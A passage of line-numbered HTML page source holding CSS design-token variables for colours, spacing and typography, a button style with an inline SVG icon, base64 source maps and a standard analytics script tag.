vbnRlbnQtYnJhbmQtYWNjZW50OiB2YXIoLS1jb2xvci1idWJibGVndW0tNzAwKTtcbiAgLS1jb2xvci1jb250ZW50LXByaW1hcnk6IHZhcigtLWNvbG9yLWdyZXktMTAwMCk7XG4gIC0tY29sb3ItY29udGVudC1pbnZlcnNlOiB2YXIoLS1jb2xvci13aGl0ZSk7XG4gIC0tY29sb3ItY29udGVudC1zZWNvbmRhcnk6IHZhcigtLWNvbG9yLWdyZXktNTAwKTtcbiAgLS1jb2xvci1jb250ZW50LWRpc2FibGVkOiB2YXIoLS1jb2xvci1ncmV5LTMwMCk7XG4gIC0tY29sb3ItY29udGVudC1jYXV0aW9uLWRlZmF1bHQ6IHZhcigtLWNvbG9yLWphZmZhLTcwMCk7XG4gIC0tY29sb3ItY29udGVudC1jYXV0aW9uLXN0cm9uZzogdmFyKC0tY29sb3ItamFmZmEtMjUpO1xuICAtLWNvbG9yLWNvbnRlbnQtY3JpdGljYWwtZGVmYXVsdDogdmFyKC0tY29sb3ItdmVyeWJlcnJ5LTcwMCk7XG4gIC0tY29sb3ItY29udGVudC1jcml0aWNhbC1zdHJvbmc6IHZhcigtLWNvbG9yLXZlcnliZXJyeS0yNSk7XG4gIC0tY29sb3ItY29udGVudC1pbmZvLWRlZmF1bHQ6IHZhcigtLWNvbG9yLWJsdWUtNzAwKTtcbiAgLS1jb2xvci1jb250ZW50LWluZm8tc3Ryb25nOiB2YXIoLS1jb2xvci1ibHVlLTI1KTtcbiAgLS1jb2xvci1jb250ZW50LW5ldXRyYWwtZGVmYXVsdDogdmFyKC0tY29sb3ItZ3JleS0xMDAwKTtcbiAgLS1jb2xvci1jb250ZW50LW5ldXRyYWwtc3Ryb25nOiB2YXIoLS1jb2xvci13aGl0ZSk7XG4gIC0tY29sb3ItY29udGVudC1wb3NpdGl2ZS1kZWZhdWx0OiB2YXIoLS1jb2xvci1ncmVlbi03MDApO1xuICAtLWNvbG9yLWNvbnRlbnQtcG9zaXRpdmUtc3Ryb25nOiB2YXIoLS1jb2xvci1ncmVlbi0yNSk7XG5cbiAgLS1jb2xvci1ib3JkZXItcHJpbWFyeTogdmFyKC0tY29sb3ItZ3JleS0xMDAwKTtcbiAgLS1jb2xvci1ib3JkZXItc2Vjb25kYXJ5OiB2YXIoLS1jb2xvci1ncmV5LTMwMCk7XG4gIC0tY29sb3ItYm9yZGVyLXRlcnRpYXJ5OiB2YXIoLS1jb2xvci1ncmV5LTEwMCk7XG5cbiAgLS1jb2xvci1hbHdheXMtd2hpdGU6IHZhcigtLWNvbG9yLXdoaXRlKTtcbn1cblxuLmNvbG9yLXNjaGVtZS1kYXJrIHtcbiAgLS1jb2xvci1pbnRlcmFjdGl2ZS1wcmltYXJ5OiB2YXIoLS1jb2xvci1ncmVlbi0xMDApO1xuICAtLWNvbG9yLWludGVyYWN0aXZlLXByaW1hcnktaG92ZXI6IHZhcigtLWNvbG9yLWdyZWVuLTMwMCk7XG4gIC0tY29sb3ItaW50ZXJhY3RpdmUtc2Vjb25kYXJ5OiB2YXIoLS1jb2xvci10cmFuc3BhcmVudCk7XG4gIC0tY29sb3ItaW50ZXJhY3RpdmUtc2Vjb25kYXJ5LWhvdmVyOiB2YXIoLS1jb2xvci13aGl0ZSk7XG4gIC0tY29sb3ItaW50ZXJhY3RpdmUtdGVydGlhcnk6IHZhcigtLWNvbG9yLXRyYW5zcGFyZW50KTtcbiAgLS1jb2xvci1pbnRlcmFjdGl2ZS10ZXJ0aWFyeS1ob3ZlcjogdmFyKC0tY29sb3ItZ3JleS03MDApO1xuICAtLWNvbG9yLWludGVyYWN0aXZlLWNvbnRyb2w6IHZhcigtLWNvbG9yLXdoaXRlKTtcbiAgLS1jb2xvci1pbnRlcmFjdGl2ZS1jb250cm9sLWhvdmVyOiB2YXIoLS1jb2xvci1ncmV5LTEwMCk7XG4gIC0tY29sb3ItaW50ZXJhY3RpdmUtZGlzYWJsZWQ6IHZhcigtLWNvbG9yLWdyZXktNzAwKTtcblxuICAtLWNvbG9yLXN1cmZhY2UtcHJpbWFyeTogdmFyKC0tY29sb3ItZ3JleS0xMDAwKTtcbiAgLS1jb2xvci1zdXJmYWNlLWFjY2VudDogdmFyKC0tY29sb3ItZ3JleS03MDApO1xuICAtLWNvbG9yLXN1cmZhY2UtaW52ZXJzZTogdmFyKC0tY29sb3Itd2hpdGUpO1xuICAtLWNvbG9yLXN1cmZhY2UtYnJhbmQtYWNjZW50OiB2YXIoLS1jb2xvci1ncmV5LTcwMCk7XG4gIC0tY29sb3Itc3VyZmFjZS1lbGV2YXRlZDogdmFyKC0tY29sb3ItZ3JleS03MDApO1xuICAtLWNvbG9yLXN1cmZhY2UtY2F1dGlvbi1kZWZhdWx0OiB2YXIoLS1jb2xvci1qYWZmYS0xMDAwKTtcbiAgLS1jb2xvci1zdXJmYWNlLWNhdXRpb24tc3Ryb25nOiB2YXIoLS1jb2xvci1qYWZmYS01MDApO1xuICAtLWNvbG9yLXN1cmZhY2UtY3JpdGljYWwtZGVmYXVsdDogdmFyKC0tY29sb3ItdmVyeWJlcnJ5LTEwMDApO1xuICAtLWNvbG9yLXN1cmZhY2UtY3JpdGljYWwtc3Ryb25nOiB2YXIoLS1jb2xvci12ZXJ5YmVycnktNTAwKTtcbiAgLS1jb2xvci1zdXJmYWNlLWluZm8tZGVmYXVsdDogdmFyKC0tY29sb3ItYmx1ZS0xMDAwKTtcbiAgLS1jb2xvci1zdXJmYWNlLWluZm8tc3Ryb25nOiB2YXIoLS1jb2xvci1ibHVlLTUwMCk7XG4gIC0tY29sb3Itc3VyZmFjZS1uZXV0cmFsLWRlZmF1bHQ6IHZhcigtLWNvbG9yLWdyZXktNzAwKTtcbiAgLS1jb2xvci1zdXJmYWNlLW5ldXRyYWwtc3Ryb25nOiB2YXIoLS1jb2xvci13aGl0ZSk7XG4gIC0tY29sb3Itc3VyZmFjZS1wb3NpdGl2ZS1kZWZhdWx0OiB2YXIoLS1jb2xvci1ncmVlbi0xMDAwKTtcbiAgLS1jb2xvci1zdXJmYWNlLXBvc2l0aXZlLXN0cm9uZzogdmFyKC0tY29sb3ItZ3JlZW4tNTAwKTtcblxuICAtLWNvbG9yLW92ZXJsYXktbGlnaHQ6IHZhcigtLWNvbG9yLXdoaXRlLW1hc2spO1xuICAtLWNvbG9yLW92ZXJsYXktZGFyazogdmFyKC0tY29sb3ItZ3JleS0xMDAwLW1hc2spO1xuXG4gIC0tY29sb3ItY29udGVudC1icmFuZDogdmFyKC0tY29sb3ItZ3JlZW4tMTAwMCk7XG4gIC0tY29sb3ItY29udGVudC1icmFuZC1hY2NlbnQ6IHZhcigtLWNvbG9yLWJ1YmJsZWd1bS0xMDApO1xuICAtLWNvbG9yLWNvbnRlbnQtcHJpbWFyeTogdmFyKC0tY29sb3Itd2hpdGUpO1xuICAtLWNvbG9yLWNvbnRlbnQtaW52ZXJzZTogdmFyKC0tY29sb3ItZ3JleS0xMDAwKTtcbiAgLS1jb2xvci1jb250ZW50LXNlY29uZGFyeTogdmFyKC0tY29sb3ItZ3JleS0xMDApO1xuICAtLWNvbG9yLWNvbnRlbnQtZGlzYWJsZWQ6IHZhcigtLWNvbG9yLWdyZXktNTAwKTtcbiAgLS1jb2xvci1jb250ZW50LWNhdXRpb24tZGVmYXVsdDogdmFyKC0tY29sb3ItamFmZmEtNTAwKTtcbiAgLS1jb2xvci1jb250ZW50LWNhdXRpb24tc3Ryb25nOiB2YXIoLS1jb2xvci1qYWZmYS0xMDAwKTtcbiAgLS1jb2xvci1jb250ZW50LWNyaXRpY2FsLWRlZmF1bHQ6IHZhcigtLWNvbG9yLXZlcnliZXJyeS01MDApO1xuICAtLWNvbG9yLWNvbnRlbnQtY3JpdGljYWwtc3Ryb25nOiB2YXIoLS1jb2xvci12ZXJ5YmVycnktMTAwMCk7XG4gIC0tY29sb3ItY29udGVudC1pbmZvLWRlZmF1bHQ6IHZhcigtLWNvbG9yLWJsdWUtNTAwKTtcbiAgLS1jb2xvci1jb250ZW50LWluZm8tc3Ryb25nOiB2YXIoLS1jb2xvci1ibHVlLTEwMDApO1xuICAtLWNvbG9yLWNvbnRlbnQtbmV1dHJhbC1kZWZhdWx0OiB2YXIoLS1jb2xvci13aGl0ZSk7XG4gIC0tY29sb3ItY29udGVudC1uZXV0cmFsLXN0cm9uZzogdmFyKC0tY29sb3ItZ3JleS0xMDAwKTtcbiAgLS1jb2xvci1jb250ZW50LXBvc2l0aXZlLWRlZmF1bHQ6IHZhcigtLWNvbG9yLWdyZWVuLTUwMCk7XG4gIC0tY29sb3ItY29udGVudC1wb3NpdGl2ZS1zdHJvbmc6IHZhcigtLWNvbG9yLWdyZWVuLTEwMDApO1xuXG4gIC0tY29sb3ItYm9yZGVyLXByaW1hcnk6IHZhcigtLWNvbG9yLXdoaXRlKTtcbiAgLS1jb2xvci1ib3JkZXItc2Vjb25kYXJ5OiB2YXIoLS1jb2xvci1ncmV5LTUwMCk7XG4gIC0tY29sb3ItYm9yZGVyLXRlcnRpYXJ5OiB2YXIoLS1jb2xvci1ncmV5LTcwMCk7XG5cbiAgLS1jb2xvci1hbHdheXMtd2hpdGU6IHZhcigtLWNvbG9yLXdoaXRlKTtcbn1cbiJdLCJzb3VyY2VSb290IjoiIn0= */
  3544.    </style>
  3545.    <style>
  3546.        .brand-neue-button {
  3547.            gap: var(--spacing-2x);
  3548.            border-radius: var(--roundness-subtle);
  3549.            background: var(--color-interactive-primary);
  3550.            color: var(--color-content-brand);
  3551.            font-family: PolySans-Median;
  3552.            font-size: var(--font-size-2x);
  3553.            letter-spacing: 0.02em;
  3554.            text-align: center;
  3555.            padding: 0 20px;
  3556.        }
  3557.  
  3558.        .brand-neue-button:hover, .brand-neue-button:active, .brand-neue-button:focus {
  3559.            background: var(--color-interactive-primary-hover);
  3560.        }
  3561.  
  3562.        .brand-neue-button__open-in-new::after {
  3563.            font-size: 0;
  3564.            margin-left: 5px;
  3565.            vertical-align: sub;
  3566.            content: url("data:image/svg+xml,<svg width=\"14\" height=\"14\" viewBox=\"0 0 20 20\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\"><g id=\"ico-/-24-/-actions-/-open_in_new\"><path id=\"Icon-color\" d=\"M17.5 12.0833V15.8333C17.5 16.7538 16.7538 17.5 15.8333 17.5H4.16667C3.24619 17.5 2.5 16.7538 2.5 15.8333V4.16667C2.5 3.24619 3.24619 2.5 4.16667 2.5H7.91667C8.14679 2.5 8.33333 2.68655 8.33333 2.91667V3.75C8.33333 3.98012 8.14679 4.16667 7.91667 4.16667H4.16667V15.8333H15.8333V12.0833C15.8333 11.8532 16.0199 11.6667 16.25 11.6667H17.0833C17.3135 11.6667 17.5 11.8532 17.5 12.0833ZM17.3167 2.91667L17.0917 2.69167C16.98 2.57535 16.8278 2.50668 16.6667 2.5H11.25C11.0199 2.5 10.8333 2.68655 10.8333 2.91667V3.75C10.8333 3.98012 11.0199 4.16667 11.25 4.16667H14.6583L7.625 11.2C7.54612 11.2782 7.50175 11.3847 7.50175 11.4958C7.50175 11.6069 7.54612 11.7134 7.625 11.7917L8.20833 12.375C8.28657 12.4539 8.39307 12.4982 8.50417 12.4982C8.61527 12.4982 8.72176 12.4539 8.8 12.375L15.8333 5.35V8.75C15.8333 8.98012 16.0199 9.16667 16.25 9.16667H17.0833C17.3135 9.16667 17.5 8.98012 17.5 8.75V3.33333C17.4955 3.17342 17.4299 3.02132 17.3167 2.90833V2.91667Z\" fill=\"%231A4200\"/></g></svg>");
  3567.        }
  3568.  
  3569.        /*# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIndlYnBhY2s6Ly8uL2FwcC9qYXZhc2NyaXB0L2NvbXBvbmVudHMvYnJhbmRfbmV1ZV90b2tlbnMvY29tcG9uZW50cy9idXR0b24uc2FzcyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFBQTtFQUNFLHNCQUFBO0VBQ0Esc0NBQUE7RUFDQSw0Q0FBQTtFQUNBLGlDQUFBO0VBQ0EsNEJBQUE7RUFDQSw4QkFBQTtFQUNBLHNCQUFBO0VBQ0Esa0JBQUE7RUFDQSxlQUFBO0FBQ0Y7QUFBRTtFQUNFLGtEQUFBO0FBRUo7O0FBQ0U7RUFDRSxZQUFBO0VBQ0EsZ0JBQUE7RUFDQSxtQkFBQTtFQUNBLGdEQUFBO0FBRUoiLCJzb3VyY2VzQ29udGVudCI6WyIuYnJhbmQtbmV1ZS1idXR0b25cbiAgZ2FwOiB2YXIoLS1zcGFjaW5nLTJ4KVxuICBib3JkZXItcmFkaXVzOiB2YXIoLS1yb3VuZG5lc3Mtc3VidGxlKVxuICBiYWNrZ3JvdW5kOiB2YXIoLS1jb2xvci1pbnRlcmFjdGl2ZS1wcmltYXJ5KVxuICBjb2xvcjogdmFyKC0tY29sb3ItY29udGVudC1icmFuZClcbiAgZm9udC1mYW1pbHk6IFBvbHlTYW5zLU1lZGlhblxuICBmb250LXNpemU6IHZhcigtLWZvbnQtc2l6ZS0yeClcbiAgbGV0dGVyLXNwYWNpbmc6IDAuMDJlbVxuICB0ZXh0LWFsaWduOiBjZW50ZXJcbiAgcGFkZGluZzogMCAyMHB4XG4gICY6aG92ZXIsICY6YWN0aXZlLCAmOmZvY3VzXG4gICAgYmFja2dyb3VuZDogdmFyKC0tY29sb3ItaW50ZXJhY3RpdmUtcHJpbWFyeS1ob3ZlcilcblxuLmJyYW5kLW5ldWUtYnV0dG9uX19vcGVuLWluLW5ld1xuICAmOjphZnRlclxuICAgIGZvbnQtc2l6ZTogMFxuICAgIG1hcmdpbi1sZWZ0OiA1cHhcbiAgICB2ZXJ0aWNhbC1hbGlnbjogc3ViXG4gICAgY29udGVudDogdXJsKCdkYXRhOmltYWdlL3N2Zyt4bWwsPHN2ZyB3aWR0aD1cIjE0XCIgaGVpZ2h0PVwiMTRcIiB2aWV3Qm94PVwiMCAwIDIwIDIwXCIgZmlsbD1cIm5vbmVcIiB4bWxucz1cImh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnXCI+PGcgaWQ9XCJpY28tLy0yNC0vLWFjdGlvbnMtLy1vcGVuX2luX25ld1wiPjxwYXRoIGlkPVwiSWNvbi1jb2xvclwiIGQ9XCJNMTcuNSAxMi4wODMzVjE1LjgzMzNDMTcuNSAxNi43NTM4IDE2Ljc1MzggMTcuNSAxNS44MzMzIDE3LjVINC4xNjY2N0MzLjI0NjE5IDE3LjUgMi41IDE2Ljc1MzggMi41IDE1LjgzMzNWNC4xNjY2N0MyLjUgMy4yNDYxOSAzLjI0NjE5IDIuNSA0LjE2NjY3IDIuNUg3LjkxNjY3QzguMTQ2NzkgMi41IDguMzMzMzMgMi42ODY1NSA4LjMzMzMzIDIuOTE2NjdWMy43NUM4LjMzMzMzIDMuOTgwMTIgOC4xNDY3OSA0LjE2NjY3IDcuOTE2NjcgNC4xNjY2N0g0LjE2NjY3VjE1LjgzMzNIMTUuODMzM1YxMi4wODMzQzE1LjgzMzMgMTEuODUzMiAxNi4wMTk5IDExLjY2NjcgMTYuMjUgMTEuNjY2N0gxNy4wODMzQzE3LjMxMzUgMTEuNjY2NyAxNy41IDExLjg1MzIgMTcuNSAxMi4wODMzWk0xNy4zMTY3IDIuOTE2NjdMMTcuMDkxNyAyLjY5MTY3QzE2Ljk4IDIuNTc1MzUgMTYuODI3OCAyLjUwNjY4IDE2LjY2NjcgMi41SDExLjI1QzExLjAxOTkgMi41IDEwLjgzMzMgMi42ODY1NSAxMC44MzMzIDIuOTE2NjdWMy43NUMxMC44MzMzIDMuOTgwMTIgMTEuMDE5OSA0LjE2NjY3IDExLjI1IDQuMTY2NjdIMTQuNjU4M0w3LjYyNSAxMS4yQzcuNTQ2MTIgMTEuMjc4MiA3LjUwMTc1IDExLjM4NDcgNy41MDE3NSAxMS40OTU4QzcuNTAxNzUgMTEuNjA2OSA3LjU0NjEyIDExLjcxMzQgNy42MjUgMTEuNzkxN0w4LjIwODMzIDEyLjM3NUM4LjI4NjU3IDEyLjQ1MzkgOC4zOTMwNyAxMi40OTgyIDguNTA0MTcgMTIuNDk4MkM4LjYxNTI3IDEyLjQ5ODIgOC43MjE3NiAxMi40NTM5IDguOCAxMi4zNzVMMTUuODMzMyA1LjM1VjguNzVDMTUuODMzMyA4Ljk4MDEyIDE2LjAxOTkgOS4xNjY2NyAxNi4yNSA5LjE2NjY3SDE3LjA4MzNDMTcuMzEzNSA5LjE2NjY3IDE3LjUgOC45ODAxMiAxNy41IDguNzVWMy4zMzMzM0MxNy40OTU1IDMuMTczNDIgMTcuNDI5OSAzLjAyMTMyIDE3LjMxNjcgMi45MDgzM1YyLjkxNjY3WlwiIGZpbGw9XCIlMjMxQTQyMDBcIi8+PC9nPjwvc3ZnPicpXG5cbiJdLCJzb3VyY2VSb290IjoiIn0= */
  3570.    </style>
  3571.    <style type="text/css">
  3572.        .fancybox-margin {
  3573.            margin-right: 15px;
  3574.        }
  3575.    </style>
  3576.    <script src="https://bat.bing.com/p/action/16005611.js" type="text/javascript" async="" data-ueto="ueto_8c931ec7a9"></script>
  3577.    <meta http-equiv="origin-trial" content="A7JYkbIvWKmS8mWYjXO12SIIsfPdI7twY91Y3LWOV/YbZmN1ZhYv8O+Zs6/IPCfBE99aV9tIC8sWZSCN09vf7gkAAACWeyJvcmlnaW4iOiJodHRwczovL2N0LnBpbnRlcmVzdC5jb206NDQzIiwiZmVhdHVyZSI6IkRpc2FibGVUaGlyZFBhcnR5U3RvcmFnZVBhcnRpdGlvbmluZzIiLCJleHBpcnkiOjE3NDIzNDIzOTksImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9">
  3578.    <style>
  3579.        :root {
  3580.            --color-grey-1000: #191919;
  3581.            --color-grey-1000-mask: rgb(25 25 25 / 0.7);
  3582.            --color-grey-700: #383838;
  3583.            --color-grey-500: #707070;
  3584.            --color-grey-300: #949494;
  3585.            --color-grey-100: #cccccc;
  3586.            --color-grey-50: #ececee;
  3587.            --color-grey-25: #f9f9fb;
  3588.            --color-white: #ffffff;
  3589.            --color-white-mask: rgb(255 255 255 / 0.7);
  3590.            --color-green-1000: #1a4200;
  3591.            --color-green-700: #2e7400;
  3592.            --color-green-500: #51a31d;
  3593.            --color-green-300: #6cc832;
  3594.            --color-green-100: #9cee69;
  3595.            --color-green-25: #eaffdc;
  3596.            --color-blue-1000: #16357b;
  3597.            --color-blue-700: #4f5ce8;
  3598.            --color-blue-500: #7585ff;
  3599.            --color-blue-25: #f0f1ff;
  3600.            --color-veryberry-1000: #77012d;
  3601.            --color-veryberry-700: #b9004b;
  3602.            --color-veryberry-500: #f65286;
  3603.            --color-veryberry-25: #ffecf2;
  3604.            --color-bubblegum-700: #b037a6;
  3605.            --color-bubblegum-100: #e6afe1;
  3606.            --color-bubblegum-25: #feedfc;
  3607.            --color-jaffa-1000: #692400;
  3608.            --color-jaffa-700: #c24100;
  3609.            --color-jaffa-500: #ff6e28;
  3610.            --color-jaffa-25: #fff5ed;
  3611.            --color-yolk-1000: #452d0d;
  3612.            --color-yolk-700: #9e5f00;
  3613.            --color-yolk-500: #c28800;
  3614.            --color-yolk-300: #ffc800;
  3615.            --color-yolk-25: #fefaea;
  3616.            --color-transparent: transparent;
  3617.            --breakpoint-wide: 1024px;
  3618.            --breakpoint-extra-wide: 1440px;
  3619.            --breakpoint-2k-wide: 2560px;
  3620.            --spacing-8x: 128px;
  3621.            --spacing-7x: 64px;
  3622.            --spacing-6x: 40px;
  3623.            --spacing-5x: 32px;
  3624.            --spacing-4x: 24px;
  3625.            --spacing-3x: 16px;
  3626.            --spacing-2x: 8px;
  3627.            --spacing-1x: 4px;
  3628.            --spacing-none: 0px;
  3629.            --chunkiness-none: 0px;
  3630.            --chunkiness-thin: 1px;
  3631.            --chunkiness-thick: 2px;
  3632.            --roundness-square: 0px;
  3633.            --roundness-subtle: 4px;
  3634.            --roundness-extra-round: 16px;
  3635.            --roundness-circle: 48px;
  3636.            --shadow-500: 0px 2px 12px 0px rgba(0 0 0 / 15%);
  3637.            --elevation-medium: var(--shadow-500);
  3638.            /** @deprecated */
  3639.            --transition-base: 0.2s;
  3640.            --transition-duration-long: 500ms;
  3641.            --transition-duration-medium: 300ms;
  3642.            --transition-duration-short: 150ms;
  3643.            --transition-easing-linear: cubic-bezier(0, 0, 1, 1);
  3644.            --transition-easing-ease-in: cubic-bezier(0.42, 0, 1, 1);
  3645.            --transition-easing-ease-in-out: cubic-bezier(0.42, 0, 0.58, 1);
  3646.            --transition-easing-ease-out: cubic-bezier(0, 0, 0.58, 1);
  3647.            --font-family-wide: "PolySansWide", "PolySans", "Inter", -apple-system, "BlinkMacSystemFont", "Segoe UI", "Fira Sans", "Helvetica Neue", "Arial", sans-serif;
  3648.            --font-family-regular: "PolySans", "Inter", -apple-system, "BlinkMacSystemFont", "Segoe UI", "Fira Sans", "Helvetica Neue", "Arial", sans-serif;
  3649.            --font-family-monospace: "Courier New", monospace;
  3650.            --font-size-10x: 6rem;
  3651.            --font-size-9x: 4.5rem;
  3652.            --font-size-8x: 3rem;
  3653.            --font-size-7x: 2.25rem;
  3654.            --font-size-6x: 1.875rem;
  3655.            --font-size-5x: 1.5rem;
  3656.            --font-size-4x: 1.125rem;
  3657.            --font-size-3x: 1rem;
  3658.            --font-size-2x: 0.875rem;
  3659.            --font-size-1x: 0.75rem;
  3660.            --font-weight-bulky: 700;
  3661.            --font-weight-median: 600;
  3662.            --font-weight-neutral: 400;
  3663.            --font-spacing-tight: -0.02em;
  3664.            --font-spacing-normal: 0;
  3665.            --font-spacing-loose: 0.02em;
  3666.            --font-height-tight: 1;
  3667.            --font-height-normal: 1.5;
  3668.            --icon-size-5x: 48px;
  3669.            --icon-size-4x: 40px;
  3670.            --icon-size-3x: 32px;
  3671.            --icon-size-2x: 24px;
  3672.            --icon-size-1x: 16px;
  3673.            --icon-size-text-responsive: calc(var(--font-size-3x) * 1.5);
  3674.            --layer-depth-ceiling: 9999;
  3675.            --minimum-touch-area: 40px;
  3676.            /* component wiring? ------------------------------------------ */
  3677.            --button-height-large: 48px;
  3678.            --button-height-medium: 40px;
  3679.            --button-font-family: var(--font-family-regular);
  3680.            --button-font-size-large: var(--font-size-3x);
  3681.            --button-font-size-medium: var(--font-size-2x);
  3682.            --button-font-weight: var(--font-weight-median);
  3683.            --button-font-height: var(--font-height-normal);
  3684.            --button-font-spacing: var(--font-spacing-normal);
  3685.            --text-style-chip-family: var(--font-family-regular);
  3686.            --text-style-chip-spacing: var(--font-spacing-normal);
  3687.            --text-style-chip-xlarge-size: var(--font-size-5x);
  3688.            --text-style-chip-xlarge-weight: var(--font-weight-median);
  3689.            --text-style-chip-xlarge-height: var(--font-height-tight);
  3690.            --text-style-chip-large-size: var(--font-size-3x);
  3691.            --text-style-chip-large-weight: var(--font-weight-neutral);
  3692.            --text-style-chip-large-height: var(--font-height-normal);
  3693.            --text-style-chip-medium-size: var(--font-size-2x);
  3694.            --text-style-chip-medium-weight: var(--font-weight-neutral);
  3695.            --text-style-chip-medium-height: var(--font-height-normal);
  3696.            /* theme? ------------------------------------------------- */
  3697.            --text-style-campaign-large-family: var(--font-family-wide);
  3698.            --text-style-campaign-large-size: var(--font-size-9x);
  3699.            --text-style-campaign-large-spacing: var(--font-spacing-normal);
  3700.            --text-style-campaign-large-weight: var(--font-weight-bulky);
  3701.            --text-style-campaign-large-height: var(--font-height-tight);
  3702.            --text-style-campaign-small-family: var(--font-family-wide);
  3703.            --text-style-campaign-small-size: var(--font-size-7x);
  3704.            --text-style-campaign-small-spacing: var(--font-spacing-normal);
  3705.            --text-style-campaign-small-weight: var(--font-weight-bulky);
  3706.            --text-style-campaign-small-height: var(--font-height-tight);
  3707.            --text-style-title-1-family: var(--font-family-regular);
  3708.            --text-style-title-1-size: var(--font-size-8x);
  3709.            --text-style-title-1-spacing: var(--font-spacing-normal);
  3710.            --text-style-title-1-weight: var(--font-weight-bulky);
  3711.            --text-style-title-1-height: var(--font-height-tight);
  3712.            --text-style-title-2-family: var(--font-family-regular);
  3713.            --text-style-title-2-size: var(--font-size-7x);
  3714.            --text-style-title-2-spacing: var(--font-spacing-normal);
  3715.            --text-style-title-2-weight: var(--font-weight-median);
  3716.            --text-style-title-2-height: var(--font-height-tight);
  3717.            --text-style-title-3-family: var(--font-family-regular);
  3718.            --text-style-title-3-size: var(--font-size-6x);
  3719.            --text-style-title-3-spacing: var(--font-spacing-normal);
  3720.            --text-style-title-3-weight: var(--font-weight-median);
  3721.            --text-style-title-3-height: var(--font-height-tight);
  3722.            --text-style-title-4-family: var(--font-family-regular);
  3723.            --text-style-title-4-size: var(--font-size-5x);
  3724.            --text-style-title-4-spacing: var(--font-spacing-normal);
  3725.            --text-style-title-4-weight: var(--font-weight-median);
  3726.            --text-style-title-4-height: var(--font-height-tight);
  3727.            --text-style-subheading-family: var(--font-family-regular);
  3728.            --text-style-subheading-size: var(--font-size-4x);
  3729.            --text-style-subheading-spacing: var(--font-spacing-normal);
  3730.            --text-style-subheading-weight: var(--font-weight-median);
  3731.            --text-style-subheading-height: var(--font-height-normal);
  3732.            --text-style-body-large-family: var(--font-family-regular);
  3733.            --text-style-body-large-size: var(--font-size-3x);
  3734.            --text-style-body-large-spacing: var(--font-spacing-normal);
  3735.            --text-style-body-large-weight: var(--font-weight-neutral);
  3736.            --text-style-body-large-height: var(--font-height-normal);
  3737.            --text-style-body-large-strong-weight: var(--font-weight-bulky);
  3738.            --text-style-body-small-family: var(--font-family-regular);
  3739.            --text-style-body-small-size: var(--font-size-2x);
  3740.            --text-style-body-small-spacing: var(--font-spacing-normal);
  3741.            --text-style-body-small-weight: var(--font-weight-neutral);
  3742.            --text-style-body-small-height: var(--font-height-normal);
  3743.            --text-style-body-small-strong-weight: var(--font-weight-bulky);
  3744.            --text-style-label-large-family: var(--font-family-regular);
  3745.            --text-style-label-large-size: var(--font-size-3x);
  3746.            --text-style-label-large-spacing: var(--font-spacing-normal);
  3747.            --text-style-label-large-weight: var(--font-weight-median);
  3748.            --text-style-label-large-height: var(--font-height-normal);
  3749.            --text-style-label-small-family: var(--font-family-regular);
  3750.            --text-style-label-small-size: var(--font-size-2x);
  3751.            --text-style-label-small-spacing: var(--font-spacing-loose);
  3752.            --text-style-label-small-weight: var(--font-weight-median);
  3753.            --text-style-label-small-height: var(--font-height-normal);
  3754.            --text-style-micro-family: var(--font-family-regular);
  3755.            --text-style-micro-size: var(--font-size-1x);
  3756.            --text-style-micro-spacing: var(--font-spacing-loose);
  3757.            --text-style-micro-weight: var(--font-weight-neutral);
  3758.            --text-style-micro-height: var(--font-height-tight);
  3759.        }
  3760.  
  3761.        .color-scheme-light {
  3762.            --color-interactive-primary: var(--color-green-100);
  3763.            --color-interactive-primary-hover: var(--color-green-300);
  3764.            --color-interactive-secondary: var(--color-transparent);
  3765.            --color-interactive-secondary-hover: var(--color-grey-1000);
  3766.            --color-interactive-tertiary: var(--color-transparent);
  3767.            --color-interactive-tertiary-hover: var(--color-grey-25);
  3768.            --color-interactive-control: var(--color-grey-1000);
  3769.            --color-interactive-control-hover: var(--color-grey-700);
  3770.            --color-interactive-disabled: var(--color-grey-100);
  3771.            --color-surface-primary: var(--color-white);
  3772.            --color-surface-accent: var(--color-grey-50);
  3773.            --color-surface-inverse: var(--color-grey-1000);
  3774.            --color-surface-brand-accent: var(--color-jaffa-25);
  3775.            --color-surface-elevated: var(--color-grey-700);
  3776.            --color-surface-caution-default: var(--color-jaffa-25);
  3777.            --color-surface-caution-strong: var(--color-jaffa-700);
  3778.            --color-surface-critical-default: var(--color-veryberry-25);
  3779.            --color-surface-critical-strong: var(--color-veryberry-700);
  3780.            --color-surface-info-default: var(--color-blue-25);
  3781.            --color-surface-info-strong: var(--color-blue-700);
  3782.            --color-surface-neutral-default: var(--color-grey-25);
  3783.            --color-surface-neutral-strong: var(--color-grey-1000);
  3784.            --color-surface-positive-default: var(--color-green-25);
  3785.            --color-surface-positive-strong: var(--color-green-700);
  3786.            --color-overlay-light: var(--color-white-mask);
  3787.            --color-overlay-dark: var(--color-grey-1000-mask);
  3788.            --color-content-brand: var(--color-green-1000);
  3789.            --color-content-brand-accent: var(--color-bubblegum-700);
  3790.            --color-content-primary: var(--color-grey-1000);
  3791.            --color-content-inverse: var(--color-white);
  3792.            --color-content-secondary: var(--color-grey-500);
  3793.            --color-content-disabled: var(--color-grey-300);
  3794.            --color-content-caution-default: var(--color-jaffa-700);
  3795.            --color-content-caution-strong: var(--color-jaffa-25);
  3796.            --color-content-critical-default: var(--color-veryberry-700);
  3797.            --color-content-critical-strong: var(--color-veryberry-25);
  3798.            --color-content-info-default: var(--color-blue-700);
  3799.            --color-content-info-strong: var(--color-blue-25);
  3800.            --color-content-neutral-default: var(--color-grey-1000);
  3801.            --color-content-neutral-strong: var(--color-white);
  3802.            --color-content-positive-default: var(--color-green-700);
  3803.            --color-content-positive-strong: var(--color-green-25);
  3804.            --color-border-primary: var(--color-grey-1000);
  3805.            --color-border-secondary: var(--color-grey-300);
  3806.            --color-border-tertiary: var(--color-grey-100);
  3807.            --color-always-white: var(--color-white);
  3808.        }
  3809.  
  3810.        .color-scheme-dark {
  3811.            --color-interactive-primary: var(--color-green-100);
  3812.            --color-interactive-primary-hover: var(--color-green-300);
  3813.            --color-interactive-secondary: var(--color-transparent);
  3814.            --color-interactive-secondary-hover: var(--color-white);
  3815.            --color-interactive-tertiary: var(--color-transparent);
  3816.            --color-interactive-tertiary-hover: var(--color-grey-700);
  3817.            --color-interactive-control: var(--color-white);
  3818.            --color-interactive-control-hover: var(--color-grey-100);
